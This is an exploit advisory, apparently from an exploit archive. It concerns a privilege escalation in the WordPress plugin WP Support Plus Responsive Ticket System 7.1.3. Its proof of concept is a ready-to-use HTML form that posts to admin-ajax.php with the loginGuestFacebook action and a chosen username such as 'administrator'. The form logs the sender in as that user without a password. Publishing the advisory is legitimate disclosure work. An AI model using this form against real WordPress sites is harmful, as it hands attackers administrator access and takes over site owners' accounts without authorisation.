WordPress WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

2017.01.11

Credit: Kacper Szurek

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-264

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web
1. Description
You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().
http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
2. Proof of Concept
<form method="post" action="http://wp/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Then you can go to admin panel.

References:

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

See this note in RAW Version

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WordPress WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

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